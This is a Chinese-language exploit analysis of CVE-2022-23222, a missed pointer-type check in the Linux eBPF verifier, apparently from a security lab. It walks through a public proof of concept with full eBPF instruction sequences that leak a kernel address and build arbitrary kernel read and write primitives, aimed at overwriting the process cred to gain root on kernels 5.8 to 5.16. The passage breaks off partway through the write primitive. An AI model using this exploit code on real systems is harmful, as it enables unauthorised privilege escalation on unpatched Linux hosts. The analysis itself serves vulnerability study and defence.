CVE-2022-23222 eBPF verifier 提权漏洞利用分析

CVE-2022-23222 漏洞分析

author: moxingyuan from iceswordlab

一、漏洞背景

CVE-2022-23222 是一个 Linux 内核漏洞,其成因为 eBPF verifier 未阻止某些 *OR_NULL 类型指针的算数加减运算。利用该漏洞可导致权限提升。

受该漏洞影响的内核版本范围为 5.8 - 5.16 。

该漏洞分别在内核版本 5.10.92、5.15.15、5.16.1 中被修复,其中,5.10.92 版本修复该漏洞的 commit 为 [35ab8c9085b0af847df7fac9571ccd26d9f0f513](kernel/git/stable/linux.git - Linux kernel stable tree) 。

二、漏洞成因

漏洞形成于 kernel/bpf/verifier.c 的 adjust_ptr_min_max_vals 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...

switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}

...
}

在禁止特定指针类型的算数加减运算时,没有列举完所有的 *OR_NULL 类型指针,导致部分 *OR_NULL 类型指针可以进行非法运算。

所有的 *OR_NULL 类型指针可以在枚举类型 bpf_reg_type 中找到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
SCALAR_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL, /* points to map elem value or NULL */
PTR_TO_STACK, /* reg == frame_pointer + offset */
PTR_TO_PACKET_META, /* skb->data - meta_len */
PTR_TO_PACKET, /* reg points to skb->data */
PTR_TO_PACKET_END, /* skb->data + headlen */
PTR_TO_FLOW_KEYS, /* reg points to bpf_flow_keys */
PTR_TO_SOCKET, /* reg points to struct bpf_sock */
PTR_TO_SOCKET_OR_NULL, /* reg points to struct bpf_sock or NULL */
PTR_TO_SOCK_COMMON, /* reg points to sock_common */
PTR_TO_SOCK_COMMON_OR_NULL, /* reg points to sock_common or NULL */
PTR_TO_TCP_SOCK, /* reg points to struct tcp_sock */
PTR_TO_TCP_SOCK_OR_NULL, /* reg points to struct tcp_sock or NULL */
PTR_TO_TP_BUFFER, /* reg points to a writable raw tp's buffer */
PTR_TO_XDP_SOCK, /* reg points to struct xdp_sock */
/* PTR_TO_BTF_ID points to a kernel struct that does not need
* to be null checked by the BPF program. This does not imply the
* pointer is _not_ null and in practice this can easily be a null
* pointer when reading pointer chains. The assumption is program
* context will handle null pointer dereference typically via fault
* handling. The verifier must keep this in mind and can make no
* assumptions about null or non-null when doing branch analysis.
* Further, when passed into helpers the helpers can not, without
* additional context, assume the value is non-null.
*/
PTR_TO_BTF_ID,
/* PTR_TO_BTF_ID_OR_NULL points to a kernel struct that has not
* been checked for null. Used primarily to inform the verifier
* an explicit null check is required for this struct.
*/
PTR_TO_BTF_ID_OR_NULL,
PTR_TO_MEM, /* reg points to valid memory region */
PTR_TO_MEM_OR_NULL, /* reg points to valid memory region or NULL */
PTR_TO_RDONLY_BUF, /* reg points to a readonly buffer */
PTR_TO_RDONLY_BUF_OR_NULL, /* reg points to a readonly buffer or NULL */
PTR_TO_RDWR_BUF, /* reg points to a read/write buffer */
PTR_TO_RDWR_BUF_OR_NULL, /* reg points to a read/write buffer or NULL */
PTR_TO_PERCPU_BTF_ID, /* reg points to a percpu kernel variable */
};

可发现漏掉的指针类型包括:

  • PTR_TO_BTF_ID_OR_NULL
  • PTR_TO_MEM_OR_NULL
  • PTR_TO_RDONLY_BUF_OR_NULL
  • PTR_TO_RDWR_BUF_OR_NULL

三、漏洞相关知识

eBPF (Extended Berkeley Packet Filter) 由 cBPF (Classic Berkeley Packet Filter) 衍生而来,是一项可在内核虚拟机中运行程序的技术。使用eBPF无需修改内核源码,或者插入驱动,对系统的入侵性相对没那么强,可以安全并有效地扩展内核的功能。

3.1 eBPF指令

eBPF 使用类似 x86 的虚拟机指令,基础指令为 8 字节,其编码格式为:

32 bits (MSB) 16 bits 4 bits 4 bits 8 bits (LSB)
immediate offset source register destination register opcode

扩展指令在基础指令基础上增加 8 个字节的立即数,总长度为 16 字节。

伪指令是内核代码中定义的方便理解记忆的助记符,通常是对真实指令的包装。

下文中出现的指令/伪指令及其功能如下:

指令/伪指令 功能
BPF_MOV64_REG(DST, SRC) dst = src
BPF_MOV64_IMM(DST, IMM) dst_reg = imm32
BPF_ST_MEM(SIZE, DST, OFF, IMM) *(uint *) (dst_reg + off16) = imm32
BPF_STX_MEM(SIZE, DST, SRC, OFF) *(uint *) (dst_reg + off16) = src_reg
BPF_LDX_MEM(SIZE, DST, SRC, OFF) dst_reg = *(uint *) (src_reg + off16)
BPF_ALU64_IMM(OP, DST, IMM) dst_reg = dst_reg ‘op’ imm32
BPF_JMP_IMM(OP, DST, IMM, OFF) if (dst_reg ‘op’ imm32) goto pc + off16
BPF_LD_MAP_FD(DST, MAP_FD) dst = map_fd
BPF_EXIT_INSN() exit

3.2 eBPF寄存器

eBPF 共有 11 个寄存器,其中 R10 是只读的帧指针,剩余 10 个是通用寄存器。

  • R0: 保存函数返回值,及 eBPF 程序退出值
  • R1 - R5: 传递函数参数,调用函数保存
  • R6 - R9: 被调用函数保存
  • R10: 只读的帧指针

3.3 eBPF程序类型

所有 eBPF 程序类型定义在以下枚举类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
enum bpf_prog_type {
BPF_PROG_TYPE_UNSPEC = 0,
BPF_PROG_TYPE_SOCKET_FILTER = 1,
BPF_PROG_TYPE_KPROBE = 2,
BPF_PROG_TYPE_SCHED_CLS = 3,
BPF_PROG_TYPE_SCHED_ACT = 4,
BPF_PROG_TYPE_TRACEPOINT = 5,
BPF_PROG_TYPE_XDP = 6,
BPF_PROG_TYPE_PERF_EVENT = 7,
BPF_PROG_TYPE_CGROUP_SKB = 8,
BPF_PROG_TYPE_CGROUP_SOCK = 9,
BPF_PROG_TYPE_LWT_IN = 10,
BPF_PROG_TYPE_LWT_OUT = 11,
BPF_PROG_TYPE_LWT_XMIT = 12,
BPF_PROG_TYPE_SOCK_OPS = 13,
BPF_PROG_TYPE_SK_SKB = 14,
BPF_PROG_TYPE_CGROUP_DEVICE = 15,
BPF_PROG_TYPE_SK_MSG = 16,
BPF_PROG_TYPE_RAW_TRACEPOINT = 17,
BPF_PROG_TYPE_CGROUP_SOCK_ADDR = 18,
BPF_PROG_TYPE_LWT_SEG6LOCAL = 19,
BPF_PROG_TYPE_LIRC_MODE2 = 20,
BPF_PROG_TYPE_SK_REUSEPORT = 21,
BPF_PROG_TYPE_FLOW_DISSECTOR = 22,
BPF_PROG_TYPE_CGROUP_SYSCTL = 23,
BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 24,
BPF_PROG_TYPE_CGROUP_SOCKOPT = 25,
BPF_PROG_TYPE_TRACING = 26,
BPF_PROG_TYPE_STRUCT_OPS = 27,
BPF_PROG_TYPE_EXT = 28,
BPF_PROG_TYPE_LSM = 29,
BPF_PROG_TYPE_SK_LOOKUP = 30,
BPF_PROG_TYPE_SYSCALL = 31,
};

下文涉及到的类型只有 BPF_PROG_TYPE_SOCKET_FILTER 。该类型 eBPF 程序通过 setsockopt 附加到指定 socket 上面,对 socket 的流量进行追踪、过滤,可附加的 socket 类型包括 UNIX socket 。

该类型程序的传入参数为结构体 __sk_buff 指针,可通过调用 bpf_skb_load_bytes_relative 辅助函数经由该结构体获取 socket 流量。

3.4 eBPF map

eBPF map 是 eBPF 程序和用户态进行数据交换的媒介。其类型包括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enum bpf_map_type {
BPF_MAP_TYPE_UNSPEC = 0,
BPF_MAP_TYPE_HASH = 1,
BPF_MAP_TYPE_ARRAY = 2,
BPF_MAP_TYPE_PROG_ARRAY = 3,
BPF_MAP_TYPE_PERF_EVENT_ARRAY = 4,
BPF_MAP_TYPE_PERCPU_HASH = 5,
BPF_MAP_TYPE_PERCPU_ARRAY = 6,
BPF_MAP_TYPE_STACK_TRACE = 7,
BPF_MAP_TYPE_CGROUP_ARRAY = 8,
BPF_MAP_TYPE_LRU_HASH = 9,
BPF_MAP_TYPE_LRU_PERCPU_HASH = 10,
BPF_MAP_TYPE_LPM_TRIE = 11,
BPF_MAP_TYPE_ARRAY_OF_MAPS = 12,
BPF_MAP_TYPE_HASH_OF_MAPS = 13,
BPF_MAP_TYPE_DEVMAP = 14,
BPF_MAP_TYPE_SOCKMAP = 15,
BPF_MAP_TYPE_CPUMAP = 16,
BPF_MAP_TYPE_XSKMAP = 17,
BPF_MAP_TYPE_SOCKHASH = 18,
BPF_MAP_TYPE_CGROUP_STORAGE = 19,
BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = 20,
BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = 21,
BPF_MAP_TYPE_QUEUE = 22,
BPF_MAP_TYPE_STACK = 23,
BPF_MAP_TYPE_SK_STORAGE = 24,
BPF_MAP_TYPE_DEVMAP_HASH = 25,
BPF_MAP_TYPE_STRUCT_OPS = 26,
BPF_MAP_TYPE_RINGBUF = 27,
BPF_MAP_TYPE_INODE_STORAGE = 28,
BPF_MAP_TYPE_TASK_STORAGE = 29,
};

下文使用到的类型包括 BPF_MAP_TYPE_ARRAY 和 BPF_MAP_TYPE_RINGBUF 。

顾名思义,BPF_MAP_TYPE_ARRAY 类似数组,索引为整形,值可为任意长度的内存对象。

BPF_MAP_TYPE_RINGBUF 是环形缓冲区,如果写入的数据来不及读取,导致积累的数据超过缓冲区长度,新数据则会覆盖掉旧数据。

3.5 eBPF辅助函数

eBPF 辅助函数(eBPF helper)是可在 eBPF 程序中使用的辅助函数。

内核规定了不同类型的eBPF程序可使用哪些辅助函数,比如,bpf_skb_load_bytes_relative 只有 socket 相关的 eBPF 程序可使用。

各 eBPF 辅助函数的函数原型由内核定义,下文使用到的一些辅助函数的原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const struct bpf_func_proto bpf_map_lookup_elem_proto = {
.func = bpf_map_lookup_elem,
.gpl_only = false,
.pkt_access = true,
.ret_type = RET_PTR_TO_MAP_VALUE_OR_NULL,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_PTR_TO_MAP_KEY,
};

const struct bpf_func_proto bpf_ringbuf_reserve_proto = {
.func = bpf_ringbuf_reserve,
.ret_type = RET_PTR_TO_ALLOC_MEM_OR_NULL,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_CONST_ALLOC_SIZE_OR_ZERO,
.arg3_type = ARG_ANYTHING,
};

可见 bpf_map_lookup_elem 的返回值类型是 RET_PTR_TO_MAP_VALUE_OR_NULL ,bpf_ringbuf_reserve 的返回值类型是RET_PTR_TO_ALLOC_MEM_OR_NULL 。

各 eBPF 辅助函数的功能可通过 man bpf-helpers 命令查看。

3.6 eBPF verifier

eBPF 程序在加载进内核之前,必须通过 eBPF verifier 的检查。只有符合要求的 eBPF 程序才允许被加载进内核,这是为了防止 eBPF 程序对内核进行破坏。

eBPF verifier 对 eBPF 程序的限制包括:

  • 不能调用任意的内核函数,只限于内核模块中列出的 eBPF helper 函数
  • 不允许包含无法到达的指令,防止加载无效代码,延迟程序的终止。
  • 限制循环次数,必须在有限次内结束。
  • 栈大小被限制为 MAX_BPF_STACK,截止到内核 5.10.83 版本,被设置为 512。
  • 限制 eBPF 程序的复杂度,verifier 处理的指令数不得超过 BPF_COMPLEXITY_LIMIT_INSNS,截止到内核 5.10.83 版本,被设置为100万。
  • 限制 eBPF 程序对内存的访问,比如不得访问未初始化的栈,不得越界访问 eBPF map 。

四、POC分析

POC 地址为:https://github.com/tr3ee/CVE-2022-23222

漏洞整体利用思路是通过欺骗 eBPF verifier 泄露内核地址,并实现内核任意地址读、写原语,通过任意读原语搜索进程 cred 所在地址,通过任意写原语修改进程 cred 以实现提权。

4.1 前置准备

创建 2 个 eBPF map ,类型分别为 BPF_MAP_TYPE_ARRAY 及 BPF_MAP_TYPE_RINGBUF。

1
2
3
4
5
6
7
8
9
10
11
12
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;

if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;

前者在 POC 中的作用为:

  1. 和内核交换数据。
  2. 泄露其元素的地址。

后者的作用则为:

  1. 和内核交换数据。
  2. 通过 bpf_ringbuf_reserve 辅助函数获取 PTR_TO_MEM_OR_NULL 类型指针 。

4.2 泄露内核地址

泄露内核地址的方法为构造特定的 eBFP 程序以利用前述漏洞。

先将 r1 保存到 r9 。r1 在进入 eBPF 程序之前被内核初始化为指向 skb 的指针。

1
2
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1)

获取 array 指针,保存在 r0 。调试发现,array 指针都是 0xFFFF…10 这种格式。

1
2
3
4
5
6
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd)
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0)
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)

上一步获取的 r0 类型为 PTR_TO_MAP_VALUE_OR_NULL 。进行以下判断后,在 false 分支 r0 类型就变成 PTR_TO_MAP_VALUE。

1
2
3
4
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2)
BPF_MOV64_IMM(BPF_REG_0, 1)
BPF_EXIT_INSN()

将 array 指针保存进 r8。

1
2
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0)

调用 bpf_ringbuf_reserve 函数,请求 PAGE_SIZE 的 ringbuf 内存,返回值为 PTR_TO_MEM_OR_NULL 类型指针,属于漏洞中没有过滤的指针类型。

1
2
3
4
5
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd)
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE)
BPF_MOV64_IMM(BPF_REG_3, 0x00)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve)

复制 r0 到 r1 ,r1 的类型变为 PTR_TO_MEM_OR_NULL ,id 也变成 r0 的 id 。这里提一下,verifier 会维护 eBPF 寄存器的 id 属性,用于追踪指针类型的来源。

1
2
// r0 = r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0)

之后,r1 自身加 1。

1
2
// r1 = r1 + 1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1)

参考 adjust_ptr_min_max_vals 函数的代码,在指针加减操作中,目标寄存器的 id 和类型会变成指针寄存器的 id 和类型。由于在上一步中 r1 既是目标寄存器也是指针寄存器,其 id 和类型保持不变。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...

/* In case of 'scalar += pointer', dst_reg inherits pointer type and id.
* The id may be overwritten later if we create a new variable offset.
*/
dst_reg->type = ptr_reg->type;
dst_reg->id = ptr_reg->id;

...
}

检查 r0 是否为 NULL 。事实上,r0 不为 NULL 的情况不可能发生。ringbuf 的大小虽然为 PAGE_SIZE ,但其中一部分用于存储关于 ringbuf 的结构体,剩下的才用于存储数据。因此,请求保留 PAGE_SIZE 的内存不可能实现。经过此步骤后,r0 的类型变为 SCALAR_VALUE ,其值为 0 。那么,与 r0 具有相同 id 的 r1 的类型和值又会如何变化呢?

1
2
3
4
5
6
7
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0)
BPF_MOV64_IMM(BPF_REG_2, 1)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard)
BPF_MOV64_IMM(BPF_REG_0, 2)
BPF_EXIT_INSN()

check_cond_jmp_op 是 verifier 中检查 JMP 指令的函数,当 JMP 指令的条件是 *OR_NULL 类型指针和 0 比较时,会通过 mark_ptr_or_null_regs 函数改变不同分支中寄存器的类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int check_cond_jmp_op(struct bpf_verifier_env *env,
struct bpf_insn *insn, int *insn_idx)
{
...

/* detect if R == 0 where R is returned from bpf_map_lookup_elem().
* NOTE: these optimizations below are related with pointer comparison
* which will never be JMP32.
*/
if (!is_jmp32 && BPF_SRC(insn->code) == BPF_K &&
insn->imm == 0 && (opcode == BPF_JEQ || opcode == BPF_JNE) &&
reg_type_may_be_null(dst_reg->type)) {
/* Mark all identical registers in each branch as either
* safe or unknown depending R == 0 or R != 0 conditional.
*/
mark_ptr_or_null_regs(this_branch, insn->dst_reg,
opcode == BPF_JNE);
mark_ptr_or_null_regs(other_branch, insn->dst_reg,
opcode == BPF_JEQ);
}

...
}

mark_ptr_or_null_regs 函数又调用了 __mark_ptr_or_null_regs 函数,在后者中,所有相同 id 的寄存器都会被 mark_ptr_or_null_reg 函数进行相同的处理。因此,后续 r1 也会变成 SCALAR_VALUE 类型,且 verifier 认为其值为 0 。然而,事实上 r1 的值为 1 。这就是漏洞所在,PTR_TO_MEM_OR_NULL 类型的指针无论经过加减运算变成何值,只要经过是否为 NULL 的判断,在其中一个分支 verifier 都会认为其值为 0 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void __mark_ptr_or_null_regs(struct bpf_func_state *state, u32 id,
bool is_null)
{
...

for (i = 0; i < MAX_BPF_REG; i++)
mark_ptr_or_null_reg(state, &state->regs[i], id, is_null);

...
}

static void mark_ptr_or_null_reg(struct bpf_func_state *state,
struct bpf_reg_state *reg, u32 id,
bool is_null)
{
...

if (WARN_ON_ONCE(reg->smin_value || reg->smax_value ||
!tnum_equals_const(reg->var_off, 0) ||
reg->off)) {
__mark_reg_known_zero(reg);
reg->off = 0;
}
if (is_null) {
reg->type = SCALAR_VALUE;
}

...
}

接着,将 r1+8 保存到 r7 。verifier 认为 r7 值为 8 ,实际上 r7 值为 9 。再将 array 指针 r8 加上 0xE0 的值保存到 r10-8 处,之所以加上 0xE0 是为了泄露更多数据,后面会补充说明。

通过 bpf_skb_load_bytes_relative 向 r10-16 写入 r7 个字节,即 9 个字节,溢出了 1 个字节。所写入的数据是可控的,可在用户态通过写入 socket 传递进内核态。在这里将控制写入数据为全零数据,即 r10-8 处的字节会被 0x00 覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8)

// r6 = r8 - 0xE0
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0)
// *(u64 *)(r10 - 8) = r6
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8)

// 这里会将r10-16后r7个字节置零。
// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9)
BPF_MOV64_IMM(BPF_REG_2, 0)
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16)
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7)
BPF_MOV64_IMM(BPF_REG_5, 1)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative)

将栈上的 array 指针取出,并减去 0xE0 ,与前面对应,结果保存进 r6 。一加一减,verifier会认为 r6 仍为 array 指针,即等于 0xFFFF…10 。而实际上,r6 等于 0xFFFF…10 - 0xE0 。这里可以选择加减 0x10 ~ 0xE0 ,选择 0xE0 泄露的数据较多。接着,将 r6 所指向的 PAGE_SIZE 字节数据复制到 array 指针处,实现信息泄露。调试发现,泄露的数据中就包含 array 指针,在 0xFFFF…10 - 0x50 处。

1
2
3
4
5
6
7
8
9
10
11
12
// r6 = *(u64 *)(r10 - 8) - 0xE0
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8)
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0)

// 将r6所指向的4096字节数据写入array map,实现信息泄露。
// 调试发现,r6+0xa0处为array map的地址。
// map_update_elem(ctx->comm_fd, 0, r6, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd)
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8)
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6)
BPF_MOV64_IMM(BPF_REG_4, 0)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem)

构造好程序后,就可将其加载进内核,attach 到 socket 上,向 socket 写入全零数据以覆盖栈上的 array 指针,再从 array map 中获取泄露的数据,从中找出 array 指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
if (prog < 0) {
WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
goto abort;
}

int err = bpf_prog_skb_run(prog, ctx->bytes, 8);

if (err != 0) {
WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
goto abort;
}

int key = 0;
err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
if (err != 0) {
WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
goto abort;
}

u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
if ((array_map&0xFFFFF00000000000) != 0xFFFF800000000000) {
WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
goto abort;
}

static __always_inline int
bpf_prog_skb_run(int prog_fd, const void *data, size_t size)
{
int err, socks[2] = {};

if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) != 0)
return errno;

if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF,
&prog_fd, sizeof(prog_fd)) != 0)
{
err = errno;
goto abort;
}

if (write(socks[1], data, size) != size)
{
err = -1;
goto abort;
}

err = 0;

abort:
close(socks[0]);
close(socks[1]);
return err;
}

4.3 构造任意读、写原语

接下来构造的 eBPF 程序和上一程序及其类似,因此通过添加注释的方式进行说明。

实现任意读原语的 eBPF 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
struct bpf_insn arbitrary_read[] = {
// 保存r1,r1被内核初始化为指向skb的指针。
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

// 获取array指针,r0类型为PTR_TO_MAP_VALUE_OR_NULL。
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

// 必需的判断,令false分支的r0变成PTR_TO_MAP_VALUE类型。
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),

// 将array指针保存进r8。
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

// 获取PTR_TO_MEM_OR_NULL类型指针,保存在r0。
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

// 复制PTR_TO_MEM_OR_NULL类型指针,副本保存在r1。
// r1 = r0
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
// r1 = r1 + 1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// 不可能发生。ringbuf的大小虽然为PAGE_SIZE,但其中一部分用于存储关于ringbuf的结构体,剩下的才用于存储数据。
// 因此,请求保留PAGE_SIZE的内存不可能实现。
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),

// 经过上面的NULL检查后,verifier认为r0=0。
// 由于r1是由r0派生出来的,因此verifier也会认为r1=0。但实际上,r1=1。

// r7 = (r1 + 1) * 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),

// verifier认为r7=8,但实际上r7=16。

// 调试发现array指针都是0xFFFF..........10
// 将该指针保存到r10-8处
// *(u64 *)(r10 - 8) = r8
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),

// 向r10-16写入r7=16个字节,覆盖r10-8处的array指针。
// 写入字节为可控,可将array指针改成任意地址。
// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

// 获取修改后的指针。
// r6 = *(u64 *)(r10 - 8)
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),

// 获取修改后指针所指向的8个字节数据,实现任意读。
// 之所以可以读取成功,是因为verifier以为该指针仍为array指针。
// r0 = *(u64 *)(r6 + 0)
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, 0),

// 将读取的数据写入array map传回用户态。
// *(u64 *)(r8 + 0) = r0
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};

实现任意写原语的 eBPF 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
struct bpf_insn arbitrary_write[] = {
// 保存r1,r1被内核初始化为指向skb的指针。
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

// 获取array指针,r0类型为PTR_TO_MAP_VALUE_OR_NULL。
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
